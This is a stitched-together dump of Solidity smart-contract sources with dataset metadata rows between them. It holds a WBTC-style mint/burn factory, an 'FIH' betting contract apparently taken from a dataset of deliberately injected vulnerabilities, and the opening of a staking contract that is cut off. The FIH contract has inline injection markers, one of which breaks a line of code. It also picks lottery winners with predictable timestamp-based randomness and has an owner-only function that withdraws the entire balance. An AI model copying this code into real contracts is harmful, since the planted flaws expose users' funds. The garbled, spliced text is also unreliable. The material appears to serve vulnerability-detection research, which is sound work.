mapping(address=>string) public custodianBtcDepositAddress;
mapping(address=>string) public merchantBtcDepositAddress;
// mapping between a mint request hash and the corresponding request nonce.
mapping(bytes32=>uint) public mintRequestNonce;
// mapping between a burn request hash and the corresponding request nonce.
mapping(bytes32=>uint) public burnRequestNonce;
Request[] public mintRequests;
Request[] public burnRequests;
constructor(ControllerInterface _controller) public {
require(_controller != address(0), "invalid _controller address");
controller = _controller;
owner = _controller;
}
modifier onlyMerchant() {
require(controller.isMerchant(msg.sender), "sender not a merchant.");
_;
}
modifier onlyCustodian() {
require(controller.isCustodian(msg.sender), "sender not a custodian.");
_;
}
event CustodianBtcDepositAddressSet(address indexed merchant, address indexed sender, string btcDepositAddress);
function setCustodianBtcDepositAddress(address merchant,
string btcDepositAddress)
external
onlyCustodian
returns (bool)
{
require(merchant != 0, "invalid merchant address");
require(controller.isMerchant(merchant), "merchant address is not a real merchant.");
require(!isEmptyString(btcDepositAddress), "invalid btc deposit address");
custodianBtcDepositAddress[merchant] = btcDepositAddress;
emit CustodianBtcDepositAddressSet(merchant, msg.sender, btcDepositAddress);
return true;
}
event MerchantBtcDepositAddressSet(address indexed merchant, string btcDepositAddress);
function setMerchantBtcDepositAddress(string btcDepositAddress) external onlyMerchant returns (bool) {
require(!isEmptyString(btcDepositAddress), "invalid btc deposit address");
merchantBtcDepositAddress[msg.sender] = btcDepositAddress;
emit MerchantBtcDepositAddressSet(msg.sender, btcDepositAddress);
return true;
}
event MintRequestAdd(uint indexed nonce,
address indexed requester,
uint amount,
string btcDepositAddress,
string btcTxid,
uint timestamp,
bytes32 requestHash);
function addMintRequest(uint amount,
string btcTxid,
string btcDepositAddress)
external
onlyMerchant
returns (bool)
{
require(!isEmptyString(btcDepositAddress), "invalid btc deposit address");
require(compareStrings(btcDepositAddress, custodianBtcDepositAddress[msg.sender]), "wrong btc deposit address");
uint nonce = mintRequests.length;
uint timestamp = getTimestamp();
Request memory request = Request({
requester: msg.sender,
amount: amount,
btcDepositAddress: btcDepositAddress,
btcTxid: btcTxid,
nonce: nonce,
timestamp: timestamp,
status: RequestStatus.PENDING
});
bytes32 requestHash = calcRequestHash(request);
mintRequestNonce[requestHash] = nonce;
mintRequests.push(request);
emit MintRequestAdd(nonce, msg.sender, amount, btcDepositAddress, btcTxid, timestamp, requestHash);
return true;
}
event MintRequestCancel(uint indexed nonce, address indexed requester, bytes32 requestHash);
function cancelMintRequest(bytes32 requestHash) external onlyMerchant returns (bool) {
uint nonce;
Request memory request;
(nonce, request) = getPendingMintRequest(requestHash);
require(msg.sender == request.requester, "cancel sender is different than pending request initiator");
mintRequests[nonce].status = RequestStatus.CANCELED;
emit MintRequestCancel(nonce, msg.sender, requestHash);
return true;
}
event MintConfirmed(uint indexed nonce,
address indexed requester,
uint amount,
string btcDepositAddress,
string btcTxid,
uint timestamp,
bytes32 requestHash);
function confirmMintRequest(bytes32 requestHash) external onlyCustodian returns (bool) {
uint nonce;
Request memory request;
(nonce, request) = getPendingMintRequest(requestHash);
mintRequests[nonce].status = RequestStatus.APPROVED;
require(controller.mint(request.requester, request.amount), "mint failed");
emit MintConfirmed(request.nonce,
request.requester,
request.amount,
request.btcDepositAddress,
request.btcTxid,
request.timestamp,
requestHash);
return true;
}
event MintRejected(uint indexed nonce,
address indexed requester,
uint amount,
string btcDepositAddress,
string btcTxid,
uint timestamp,
bytes32 requestHash);
function rejectMintRequest(bytes32 requestHash) external onlyCustodian returns (bool) {
uint nonce;
Request memory request;
(nonce, request) = getPendingMintRequest(requestHash);
mintRequests[nonce].status = RequestStatus.REJECTED;
emit MintRejected(request.nonce,
request.requester,
request.amount,
request.btcDepositAddress,
request.btcTxid,
request.timestamp,
requestHash);
return true;
}
event Burned(uint indexed nonce,
address indexed requester,
uint amount,
string btcDepositAddress,
uint timestamp,
bytes32 requestHash);
function burn(uint amount) external onlyMerchant returns (bool) {
string memory btcDepositAddress = merchantBtcDepositAddress[msg.sender];
require(!isEmptyString(btcDepositAddress), "merchant btc deposit address was not set");
uint nonce = burnRequests.length;
uint timestamp = getTimestamp();
// set txid as empty since it is not known yet.
string memory btcTxid = "";
Request memory request = Request({
requester: msg.sender,
amount: amount,
btcDepositAddress: btcDepositAddress,
btcTxid: btcTxid,
nonce: nonce,
timestamp: timestamp,
status: RequestStatus.PENDING
});
bytes32 requestHash = calcRequestHash(request);
burnRequestNonce[requestHash] = nonce;
burnRequests.push(request);
require(controller.getWBTC().transferFrom(msg.sender, controller, amount), "trasnfer tokens to burn failed");
require(controller.burn(amount), "burn failed");
emit Burned(nonce, msg.sender, amount, btcDepositAddress, timestamp, requestHash);
return true;
}
event BurnConfirmed(uint indexed nonce,
address indexed requester,
uint amount,
string btcDepositAddress,
string btcTxid,
uint timestamp,
bytes32 inputRequestHash);
function confirmBurnRequest(bytes32 requestHash, string btcTxid) external onlyCustodian returns (bool) {
uint nonce;
Request memory request;
(nonce, request) = getPendingBurnRequest(requestHash);
burnRequests[nonce].btcTxid = btcTxid;
burnRequests[nonce].status = RequestStatus.APPROVED;
burnRequestNonce[calcRequestHash(burnRequests[nonce])] = nonce;
emit BurnConfirmed(request.nonce,
request.requester,
request.amount,
request.btcDepositAddress,
btcTxid,
request.timestamp,
requestHash);
return true;
}
function getMintRequest(uint nonce)
external
view
returns (uint requestNonce,
address requester,
uint amount,
string btcDepositAddress,
string btcTxid,
uint timestamp,
string status,
bytes32 requestHash)
{
Request memory request = mintRequests[nonce];
string memory statusString = getStatusString(request.status);
requestNonce = request.nonce;
requester = request.requester;
amount = request.amount;
btcDepositAddress = request.btcDepositAddress;
btcTxid = request.btcTxid;
timestamp = request.timestamp;
status = statusString;
requestHash = calcRequestHash(request);
}
function getMintRequestsLength() external view returns (uint length) {
return mintRequests.length;
}
function getBurnRequest(uint nonce)
external
view
returns (uint requestNonce,
address requester,
uint amount,
string btcDepositAddress,
string btcTxid,
uint timestamp,
string status,
bytes32 requestHash)
{
Request storage request = burnRequests[nonce];
string memory statusString = getStatusString(request.status);
requestNonce = request.nonce;
requester = request.requester;
amount = request.amount;
btcDepositAddress = request.btcDepositAddress;
btcTxid = request.btcTxid;
timestamp = request.timestamp;
status = statusString;
requestHash = calcRequestHash(request);
}
function getBurnRequestsLength() external view returns (uint length) {
return burnRequests.length;
}
function getTimestamp() internal view returns (uint) {
// timestamp is only used for data maintaining purpose, it is not relied on for critical logic.
return block.timestamp; // solhint-disable-line not-rely-on-time
}
function getPendingMintRequest(bytes32 requestHash) internal view returns (uint nonce, Request memory request) {
require(requestHash != 0, "request hash is 0");
nonce = mintRequestNonce[requestHash];
request = mintRequests[nonce];
validatePendingRequest(request, requestHash);
}
function getPendingBurnRequest(bytes32 requestHash) internal view returns (uint nonce, Request memory request) {
require(requestHash != 0, "request hash is 0");
nonce = burnRequestNonce[requestHash];
request = burnRequests[nonce];
validatePendingRequest(request, requestHash);
}
function validatePendingRequest(Request memory request, bytes32 requestHash) internal pure {
require(request.status == RequestStatus.PENDING, "request is not pending");
require(requestHash == calcRequestHash(request), "given request hash does not match a pending request");
}
function calcRequestHash(Request request) internal pure returns (bytes32) {
return keccak256(abi.encode(request.requester,
request.amount,
request.btcDepositAddress,
request.btcTxid,
request.nonce,
request.timestamp));
}
function compareStrings (string a, string b) internal pure returns (bool) {
return (keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b)));
}
function isEmptyString (string a) internal pure returns (bool) {
return (compareStrings(a, ""));
}
function getStatusString(RequestStatus status) internal pure returns (string) {
if (status == RequestStatus.PENDING) {
return "pending";
} else if (status == RequestStatus.CANCELED) {
return "canceled";
} else if (status == RequestStatus.APPROVED) {
return "approved";
} else if (status == RequestStatus.REJECTED) {
return "rejected";
} else {
// this fallback can never be reached.
return "unknown";
}
}
}
| 133,288 | 12,047 |
ce73f0b00104b3b714a6f8473eb498418439c9cc917ef1d94a5d67b3f3757ab1
| 15,927 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/NonpublicVarAccessdByPublicFunc/0x7c3256f3d57f94f1d4873242773728b5e1d76855_nonpublicVarAccessdByPublicFunc.sol
| 3,934 | 14,810 |
pragma solidity ^0.5.2;
contract RevealPrivilege {
address owner;
address internal delegateAddr;
mapping(address => bool) internal isAdmin;
modifier onlyAdmins() {
require(isAdmin[msg.sender] == true);
_;
}
modifier isContractOwner() {
require(owner == msg.sender);
_;
}
function addAdmin(address _addr) isContractOwner public {
isAdmin[_addr] = true; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function removeAdmin(address _addr) isContractOwner public {
isAdmin[_addr] = false; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function transferOwner(address _addr) isContractOwner public {
owner = _addr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setdelegateAddr(address _addr) onlyAdmins public {
delegateAddr = _addr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
contract FIH is RevealPrivilege {
using SafeMath for uint256;
// constant value
uint256 constant withdrawalFee = 0.05 ether;
uint256 constant stake = 0.01 ether;
uint256 internal bonusCodeNonce;
uint16 internal currentPeriod;
uint256 bonusPool;
uint256 internal teamBonus;
struct BonusCode {
uint8 prefix;
uint256 orderId;
uint256 code;
uint256 nums;
uint256 period;
address addr;
}
//user balance
mapping(address => uint256) balanceOf;
mapping(address => bool) internal allowance;
// _period => BonusCode
mapping(uint16 => BonusCode) internal revealResultPerPeriod;
mapping(uint16 => uint256) revealBonusPerPeriod;
mapping(address => BonusCode[]) revealInfoByAddr;
mapping(uint16 => uint256) gameBonusPerPeriod;
mapping(uint16 => mapping(address => uint256)) invitedBonus; // period => address => amount
mapping(address => address) invitedRelations;
mapping(uint16 => mapping(uint8 => uint256)) sideTotalAmount; // period => prefix => amount
mapping(uint16 => mapping(uint256 => BonusCode)) internal revealBonusCodes; // period => code => BonusCode
mapping(uint16 => uint256[]) bcodes; // period => code
event Bet(uint16 _currentPeriod, uint256 _orderId, uint256 _code, address _from);
event Deposit(address _from, address _to, uint256 _amount);
event Reveal(uint16 _currentPeriod, uint256 _orderId, uint256 _prefix, uint256 _code, address _addr, uint256 _winnerBonus);
event Withdrawal(address _to, uint256 _amount);
constructor () public {
owner = msg.sender;
isAdmin[owner] = true;
currentPeriod = 1;
bonusCodeNonce = 0;
bonusPool = 0;
teamBonus = 0;
gameBonusPerPeriod[currentPeriod] = 0;
}
function deposit(address _to) payable public {
require(msg.value > 0);
if (msg.sender != _to) {
require(msg.sender == delegateAddr, "deposit can only from self-address or delegated address"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
allowance[_to] = true; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], msg.value); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Deposit(msg.sender, _to, msg.value);
}
function bet(address _from, address _invitedAddr, uint256 _amount, uint8 _fType) public {
// validate
require(stake <= _amount && _amount <= balanceOf[_from], "amount should more than stake and less or equal to balance"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if (msg.sender != _from) {
require(msg.sender == delegateAddr && allowance[_from] == true, "permission rejected"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
if (_invitedAddr != address(0x0)) {
require(_from != _invitedAddr, "bet _from is not equals _invitedAddr");
}
//handler balance and allowance
balanceOf[_from] = balanceOf[_from].safeSub(_amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
sideTotalAmount[currentPeriod][_fType] = sideTotalAmount[currentPeriod][_fType].safeAdd(_amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
//1. bonusPool
uint256 currentAmount = _amount;
uint256 gameBonusPercentVal = _amount.safeMul(20).safeDiv(100);
uint256 teamBonusPercentVal = _amount.safeMul(15).safeDiv(100);
uint256 bonusPoolPercentVal = _amount.safeMul(50).safeDiv(100);
gameBonusPerPeriod[currentPeriod] = gameBonusPerPeriod[currentPeriod].safeAdd(gameBonusPercentVal); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
currentAmount = currentAmount.safeSub(gameBonusPercentVal);
teamBonus = teamBonus.safeAdd(teamBonusPercentVal); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
currentAmount = currentAmount.safeSub(teamBonusPercentVal);
bonusPool = bonusPool.safeAdd(bonusPoolPercentVal); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
currentAmount = currentAmount.safeSub(bonusPoolPercentVal);
//invited bonus
uint256 bonusLevelOne = _amount.safeMul(10).safeDiv(100);
uint256 bonusLevelTwo = _amount.safeMul(5).safeDiv(100);
if(_invitedAddr != address(0x0)) {
invitedRelations[_from] = _invitedAddr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
if (invitedRelations[_from] != address(0x0)) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
address fa = invitedRelations[_from]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
invitedBonus[currentPeriod][fa] = invitedBonus[currentPeriod][fa].safeAdd(bonusLevelOne); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
balanceOf[fa] = balanceOf[fa].safeAdd(bonusLevelOne); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
currentAmount = currentAmount.safeSub(bonusLevelOne);
address gfa = invitedRelations[fa]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if (gfa != address(0x0)) {
invitedBonus[currentPeriod][gfa] = invitedBonus[currentPeriod][gfa].safeAdd(bonusLevelTwo); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
balanceOf[gfa] = balanceOf[gfa].safeAdd(bonusLevelTwo); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
currentAmount = currentAmount.safeSub(bonusLevelTwo);
}
}
assert(currentAmount >= 0);
bonusPool = bonusPool.safeAdd(currentAmount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
//generate order and bonusCodes
uint256 oId = block.timestamp;
BonusCode memory bc = BonusCode({
orderId: oId,
prefix: _fType,
code: bonusCodeNonce, //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
nums: _amount.safeDiv(stake), //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
addr: _from,
period: currentPeriod //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
});
revealBonusCodes[currentPeriod][bonusCodeNonce] = bc; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bcodes[currentPeriod].push(bonusCodeNonce); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Bet(currentPeriod, oId, bonusCodeNonce, _from); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bonusCodeNonce = bonusCodeNonce.safeAdd(_amount.safeDiv(stake)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
event Debug(uint256 winnerIndex, uint256 bcodesLen, uint256 pos);
function reveal(string memory _seed) public onlyAdmins {
// random winner index
uint256 winner = uint256(keccak256(abi.encodePacked(_seed, msg.sender, block.timestamp))) % bonusCodeNonce; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 lt = 0;
uint256 rt = bcodes[currentPeriod].length - 1; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(lt <= rt, "bcodes length is not correct");
uint256 pos = lt;
while (lt <= rt) {
uint256 mid = lt + (rt - lt) / 2;
if (bcodes[currentPeriod][mid] <= winner) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
pos = mid;
lt = mid + 1;
} else {
rt = mid - 1;
}
}
emit Debug(winner, bcodes[currentPeriod].length, pos); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 halfBonusPool = bonusPool.safeMul(50).safeDiv(100); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
BonusCode memory winnerBcode = revealBonusCodes[currentPeriod][bcodes[currentPeriod][pos]]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
// iterate;
uint256 bcodesLen = bcodes[currentPeriod].length; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
for (uint256 i = 0; i < bcodesLen; i++) {
if (revealBonusCodes[currentPeriod][bcodes[currentPeriod][i]].prefix != winnerBcode.prefix) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
continue;
}
BonusCode memory thisBonusCode = revealBonusCodes[currentPeriod][bcodes[currentPeriod][i]]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if (thisBonusCode.addr == winnerBcode.addr && thisBonusCode.orderId == winnerBcode.orderId) {
balanceOf[winnerBcode.addr] = balanceOf[winnerBcode.addr].safeAdd(halfBonusPool); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
} else {
uint256 bonusAmount = halfBonusPool.safeMul(thisBonusCode.nums.safeMul(stake).safeDiv(sideTotalAmount[currentPeriod][winnerBcode.prefix]) //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC);
balanceOf[thisBonusCode.addr] = balanceOf[thisBonusCode.addr].safeAdd(bonusAmount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
// update reveal result && reset value
revealBonusPerPeriod[currentPeriod] = halfBonusPool; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
revealResultPerPeriod[currentPeriod] = winnerBcode; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
revealInfoByAddr[winnerBcode.addr].push(winnerBcode); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
currentPeriod++; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bonusPool = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bonusCodeNonce = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
gameBonusPerPeriod[currentPeriod] = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Reveal(currentPeriod - 1, winnerBcode.orderId, winnerBcode.prefix, winnerBcode.code, winnerBcode.addr, halfBonusPool); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function withdrawal(address _from, address payable _to, uint256 _amount) public {
// permission check
if (msg.sender != _from) {
require(allowance[_from] == true && msg.sender == delegateAddr, "permission rejected"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
// amount check
require(withdrawalFee <= _amount && _amount <= balanceOf[_from], "Don't have enough balance"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
balanceOf[_from] = balanceOf[_from].safeSub(_amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_amount = _amount.safeSub(withdrawalFee); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
teamBonus = teamBonus.safeAdd(withdrawalFee); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_to.transfer(_amount);
emit Withdrawal(_to, _amount);
}
function teamWithdrawal() onlyAdmins public {
require(teamBonus > 0, "Don't have enough teamBonus"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 tmp = teamBonus; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
teamBonus = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
msg.sender.transfer(tmp);
}
function gameBonusWithdrawal(uint16 _period) onlyAdmins public {
require(gameBonusPerPeriod[_period] > 0, "Don't have enough money"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 tmp = gameBonusPerPeriod[_period]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
gameBonusPerPeriod[_period] = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
msg.sender.transfer(tmp);
}
function updateContract() isContractOwner public {
msg.sender.transfer(address(this).balance);
}
function getBalance(address _addr) public view returns(uint256) {
return balanceOf[_addr]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function getBonusPool() public view returns(uint256) {
return bonusPool; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function getBonusInvited(address _from) public view returns(uint256) {
return invitedBonus[currentPeriod][_from]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function getRevealResultPerPeriod(uint16 _period) public view returns(uint8 _prefix, uint256 _orderId, uint256 _code, uint256 _nums, address _addr, uint256 _revealBonus) {
_prefix = revealResultPerPeriod[_period].prefix; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_orderId = revealResultPerPeriod[_period].orderId; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_code = revealResultPerPeriod[_period].code; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_nums = revealResultPerPeriod[_period].nums; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_addr = revealResultPerPeriod[_period].addr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_revealBonus = revealBonusPerPeriod[_period]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
library SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function safeMod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 279,910 | 12,048 |
f20e9c760eeef1a1d25dacd8731c966e0a845d0d47335766ef8009c708a349b6
| 27,367 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/c5/C58Cd958D35E380Ab891B7F001a03117A3f80F08_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
